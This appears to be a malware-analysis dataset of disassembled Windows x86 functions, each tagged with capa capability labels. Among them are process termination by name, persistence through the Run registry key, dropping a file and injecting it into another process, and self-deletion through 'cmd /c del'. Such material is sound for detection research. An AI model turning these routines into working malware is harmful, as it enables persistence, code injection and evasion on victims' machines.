joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407200
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x433060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ecx, [ebp - 0x1c]
call fcn.004070c0
cmp dword [ebp - 8], 8
lea esi, [ebp - 0x1c]
push 0
cmovae esi, dword [ebp - 0x1c]
push 2
mov dword [ebp - 0x254], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4072b2
lea eax, [ebp - 0x250]
mov dword [ebp - 0x250], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4072b2
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x22c]
push esi
push eax
call fcn.0040cf3c
add esp, 8
test eax, eax
jne 0x40729d
push dword [ebp - 0x248]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x407297
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [ebp - 0x254]
lea eax, [ebp - 0x250]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x407262
push edi
call ebx
cmp dword [ebp - 8], 8
jb 0x4072c3
push dword [ebp - 0x1c]
call fcn.00401ba0
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040be14
mov esp, ebp
pop ebp
ret

Function at 0x4072e0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x433060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x2d
mov esi, ecx
mov dword [ebp - 8], 0xf
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x1c], 0
call fcn.004016b0
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x20]
push ecx
push 2
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407365
cmp dword [esi + 0x14], 0x10
mov eax, dword [esi + 0x10]
jb 0x407343
mov esi, dword [esi]
inc eax
push eax
push esi
push 1
push 0
push 0x42ef18
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x20]
test eax, eax
je 0x40738a
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor bl, bl
cmp dword [ebp - 8], 0x10
jb 0x407378
push dword [ebp - 0x1c]
call fcn.00401ba0
add esp, 4
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.0040be14
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
jmp 0x407367
Function at 0x41b1ae
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x433060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00413180
mov dword [ebp - 0x14], eax
cmp dword [0x4359dc], esi
jne 0x41b2a1
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41b22e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41b381
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41b381
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41b381
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4359dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4359e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4359e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4359ec], eax
test eax, eax
je 0x41b29e
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4359e8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41b2c6
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41b2b9
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41b2db
push 4
pop eax
jmp 0x41b383
cmp dword [ebp - 0x14], esi
je 0x41b2db
push dword [0x4359dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41b2c0
mov eax, dword [0x4359e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41b339
cmp dword [0x4359ec], edi
je 0x41b339
push eax
call ebx
push dword [0x4359ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41b339
test eax, eax
je 0x41b339
call ecx
test eax, eax
je 0x41b32e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41b32e
test byte [ebp - 8], 1
jne 0x41b339
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41b369
mov eax, dword [0x4359e0]
cmp eax, edi
je 0x41b366
push eax
call ebx
test eax, eax
je 0x41b366
call eax
mov esi, eax
test esi, esi
je 0x41b366
mov eax, dword [0x4359e4]
cmp eax, edi
je 0x41b366
push eax
call ebx
test eax, eax
je 0x41b366
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4359dc]
call ebx
test eax, eax
je 0x41b381
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x41b383
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040be14
mov esp, ebp
pop ebp
ret
Function at 0x401470
Capabilities:
Contain obfuscated stackstrings
Execute command
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409b9b
mov eax, dword fs:[0]
push eax
sub esp, 0x254
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x220]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x104
lea eax, [ebp - 0x11c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
lea eax, [ebp - 0x220]
push eax
push 0x104
call dword [0x41f850]
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor esi, esi
lea ebx, [esi + 0x5c]
call edi
cdq
idiv ebx
add dl, 0x1e
cmp dl, 0x30
jl 0x4014f6
cmp dl, 0x39
jle 0x401507
cmp dl, 0x41
jl 0x401500
cmp dl, 0x5a
jle 0x401507
lea eax, [edx - 0x61]
cmp al, 0x19
ja 0x40150d
mov byte [ebp + esi - 0x18], dl
jmp 0x401512
test esi, esi
js 0x401512
dec esi
inc esi
cmp esi, 7
jl 0x4014e4
lea eax, [ebp - 0x18]
mov byte [ebp - 0x11], 0
push eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x230], 0x255c7325
push eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x22c], 0x6d742e73
push eax
lea eax, [ebp - 0x11c]
mov word [ebp - 0x228], 0x70
push eax
call fcn.00401050
lea eax, [ebp - 0x224]
mov word [ebp - 0x224], 0x6277
push eax
lea eax, [ebp - 0x11c]
mov byte [ebp - 0x222], 0
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
xor eax, eax
push esi
push 0x11200
push 1
push 0x40e018
mov word [ebp - 0x224], ax
mov byte [ebp - 0x222], al
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x2c
push 0x41f890
push dword [0x41f894]
call dword [0x41f888]
push dword [0x41f890]
push 0
push 0x1fffff
call dword [0x41f868]
mov esi, eax
test esi, esi
jne 0x401635
push 0x45d4f917
lea ecx, [ebp - 0x224]
call fcn.00402d70
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x260]
mov eax, str.Jwymz
sub eax, 0x53d64995
push eax
call fcn.00402db0
lea edx, [esi + 0xc]
mov dword [ebp - 4], esi
mov ecx, eax
call fcn.004011a0
lea ecx, [ebp - 0x260]
mov dword [ebp - 4], 0xffffffff
call fcn.00402830
push 0x1388
call dword [0x41f86c]
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea ecx, [ebp - 0x11c]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401640
push 4
push 0x3000
sub ecx, edx
push ecx
push 0
push esi
call dword [0x41f87c]
lea ecx, [ebp - 0x11c]
mov edi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401665
push 0
sub ecx, edx
lea eax, [ebp - 0x11c]
push ecx
push eax
push edi
push esi
call dword [0x41f880]
push 0
push 0
push edi
push dword [0x41f834]
push 0
push 0
push esi
call dword [0x41f884]
push esi
call dword [0x41f858]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408dfe
mov esp, ebp
pop ebp
ret
Function at 0x4016c0
Capabilities:
Create process on windows
Query environment variable
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401775
push 0x104
lea eax, [ebp - 0x108]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x401775
push str._c_del
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.____NUL
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x104
lea eax, [ebp - 0x108]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401775
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x4028d0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x402901
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x4028f0
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x410610
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d42e0
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x532008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 4]
mov edi, dword [ebp + 8]
test eax, eax
je 0x410759
cmp byte [eax + 0x54], 0
je 0x410759
add eax, 0x1c
lea ecx, [ebp - 0x1c]
xorps xmm0, xmm0
push eax
movlpd qword [ebp - 0x1c], xmm0
call fcn.0040f1b0
mov dword [ebp - 4], 0
mov eax, dword [esi + 4]
cmp dword [eax + 0x14], 8
jb 0x41067a
mov eax, dword [eax]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41072d
push 0
mov edx, edi
lea ecx, [ebp - 0x34]
call fcn.00476de0
add esp, 4
mov byte [ebp - 4], 1
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [ebp - 0x20], 0x10
lea ecx, [ebp - 0x38]
push 0
push ecx
push dword [ebp - 0x24]
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x41071b
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410711
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x410711
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004b43aa
add esp, 8
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x410752
cmp byte [ebp - 0x18], 0
je 0x410752
mov eax, dword [esi]
test eax, eax
je 0x41074e
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov byte [esi + 4], 0
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004b40ec
mov esp, ebp
pop ebp
ret 4
Function at 0x418340
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d59a0
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x532008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x34]
xorps xmm0, xmm0
push eax
movlpd qword [ebp - 0x18], xmm0
xor esi, esi
mov dword [ebp - 0x18], esi
xor bl, bl
push fcn.00468d20
mov byte [ebp - 0x14], bl
push 6
mov dword [ebp - 0x34], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x418429
cmp dword [ebp - 0x34], esi
je 0x418429
xor eax, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], 7
mov word [ebp - 0x30], ax
mov dword [ebp - 4], eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x30]
push str.9CDB4DA2_ACEA_446E_AA3A_D25628140939__d__p
push eax
call fcn.00471ca0
add esp, 0x10
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 8
cmovae eax, dword [ebp - 0x30]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
mov dword [ebp - 0x18], esi
test esi, esi
je 0x41841a
push 0xffffffffffffffff
push esi
call edi
test eax, eax
jne 0x418409
mov bl, 1
mov byte [ebp - 0x14], bl
jmp 0x41841a
xor bl, bl
push esi
mov byte [ebp - 0x14], bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.0040a900
mov dword [ebp - 4], 1
cmp byte [0x537970], 0
jne 0x418462
mov ecx, dword [0x537950]
test ecx, ecx
je 0x41844e
push 0xffffffffffffffff
push ecx
call edi
mov ecx, dword [0x537950]
mov eax, dword [0x537948]
mov edi, dword [eax]
test ecx, ecx
je 0x418464
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
jmp 0x418464
xor edi, edi
mov dword [ebp - 4], 0xffffffff
test bl, bl
je 0x41847c
test esi, esi
je 0x41848f
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x418480
test esi, esi
je 0x41848f
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
mov dword [ebp - 0x18], 0
mov eax, edi
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b40ec
mov esp, ebp
pop ebp
ret
Function at 0x42ab00
Capabilities:
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d86a7
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x532008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
push 0x18
mov byte [edi], 0
call fcn.004b40fd
add esp, 4
mov dword [edi + 4], eax
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [ebp - 4], 0
lea esi, [edi + 8]
push 0
mov dword [ebp - 0x14], esi
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0042c550
mov dword [esi], eax
mov byte [ebp - 4], 3
lea esi, [edi + 0x10]
push 0
mov dword [ebp - 0x14], esi
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0042c550
mov dword [esi], eax
mov byte [ebp - 4], 6
xor eax, eax
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 7
mov word [edi + 0x20], ax
mov byte [ebp - 4], 7
lea ecx, [edi + 0x38]
call fcn.004108d0
mov byte [ebp - 4], 8
lea eax, [edi + 0xb8]
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 9
mov dword [eax + 0x18], ecx
mov dword [eax + 0x1c], ecx
mov dword [eax + 0x20], ecx
mov dword [eax + 0x24], ecx
mov dword [eax + 0x28], ecx
mov dword [eax + 0x2c], ecx
mov byte [eax + 0x30], cl
mov byte [ebp - 4], 0xa
xor eax, eax
mov dword [edi + 0x100], ecx
mov dword [edi + 0x104], 7
mov word [edi + 0xf0], ax
mov byte [ebp - 4], 0xb
mov dword [edi + 0x118], eax
mov dword [edi + 0x11c], 0xf
mov byte [edi + 0x108], al
mov byte [ebp - 4], 0xc
mov dword [edi + 0x130], eax
mov dword [edi + 0x134], 0xf
mov byte [edi + 0x120], al
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x42cbf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d8d7e
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x532008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x50], edi
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x54], edi
mov dword [edi + 0x94], 0
mov dword [edi + 0x98], 7
mov dword [ebp - 0x4c], eax
mov word [edi + 0x84], cx
mov dword [ebp - 4], ecx
lea eax, [edi + 0x24]
push 0x60
push ecx
push eax
mov byte [edi + 0x9c], 1
mov dword [edi], ecx
mov dword [edi + 4], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], ecx
mov dword [edi + 0x10], ecx
mov dword [edi + 0x14], ecx
mov dword [edi + 0x18], ecx
mov dword [edi + 0x1c], ecx
mov dword [edi + 0x20], ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x48]
push esi
call fcn.004107f0
mov byte [ebp - 4], 1
cmp dword [ebp - 0x38], 0
jne 0x42cca0
lea ecx, [ebp - 0x48]
call fcn.0048f350
cmp dword [ebp - 0x38], 0
je 0x42cd7a
mov eax, dword [ebp - 0x4c]
cmp dword [eax + 0x10], 0
je 0x42cd7a
push eax
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0x28]
call fcn.00474140
add esp, 4
mov esi, eax
mov byte [ebp - 4], 2
lea eax, [ebp - 0x48]
cmp eax, esi
je 0x42ccf4
mov ecx, eax
call fcn.0040a900
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x48], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x38], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.0040a900
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0x43002e
mov dword [ebp - 0x2c], 0x650068
lea edx, [eax + 2]
mov dword [ebp - 0x28], 0x6b0063
mov dword [ebp - 0x24], 0x740053
mov dword [ebp - 0x20], 0x740061
mov dword [ebp - 0x1c], 0x64002e
mov dword [ebp - 0x18], 0x740061
mov dword [ebp - 0x14], 0x61
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42cd40
sub eax, edx
lea ecx, [ebp - 0x48]
sar eax, 1
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.0040d9e0
lea eax, [ebp - 0x48]
lea ecx, [edi + 0x84]
cmp ecx, eax
je 0x42cd7a
cmp dword [ebp - 0x34], 8
push dword [ebp - 0x38]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.0040a960
mov ecx, edi
call fcn.0042ce80
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x48]
call fcn.0040a900
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b40ec
mov esp, ebp
pop ebp
ret 0xc
Function at 0x42fb80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d93b8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x532008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov dword [esi + 0x10], eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, dword [esi]
add esp, 4
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
test ecx, ecx
je 0x42fc58
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x1c], edx
call fcn.0042c0f0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0
je 0x42fc49
cmp dword [ebp - 0x24], 8
lea eax, [ebp - 0x38]
push 0
cmovae eax, dword [ebp - 0x38]
push 0x80
push 4
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x42fc49
test esi, esi
je 0x42fc49
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 8
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38]
call fcn.0040a900
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b40ec
mov esp, ebp
pop ebp
ret 4
Function at 0x4330d0
Capabilities:
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d9af3
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x532008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
push 0
push 0
mov dword [ebp - 0x14], edi
mov dword [edi], 0
mov dword [edi + 4], 0
call fcn.0042c550
mov dword [edi], eax
mov dword [ebp - 4], 2
lea esi, [edi + 8]
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00436f30
mov dword [esi], eax
mov byte [ebp - 4], 5
lea esi, [edi + 0x10]
push 0
mov dword [ebp - 0x14], esi
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00436ea0
mov dword [esi], eax
mov byte [ebp - 4], 8
lea esi, [edi + 0x18]
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00436f30
mov dword [esi], eax
mov byte [ebp - 4], 0xb
lea esi, [edi + 0x20]
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00436e20
mov dword [esi], eax
mov byte [ebp - 4], 0xe
lea esi, [edi + 0x28]
push 0
mov dword [ebp - 0x14], esi
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00436d90
mov dword [esi], eax
mov byte [ebp - 4], 0x11
lea esi, [edi + 0x30]
push 0
mov dword [ebp - 0x14], esi
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00436d90
mov dword [esi], eax
mov byte [ebp - 4], 0x14
lea esi, [edi + 0x38]
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
push 0
push 0
call fcn.00436d90
mov dword [esi], eax
mov byte [ebp - 4], 0x17
lea eax, [edi + 0x40]
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x18
mov dword [eax + 0x18], ecx
mov dword [eax + 0x1c], ecx
mov dword [eax + 0x20], ecx
mov dword [eax + 0x24], ecx
mov dword [eax + 0x28], ecx
mov dword [eax + 0x2c], ecx
mov byte [eax + 0x30], cl
mov byte [ebp - 4], 0x19
xor eax, eax
mov dword [edi + 0x88], ecx
mov dword [edi + 0x8c], 7
mov word [edi + 0x78], ax
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret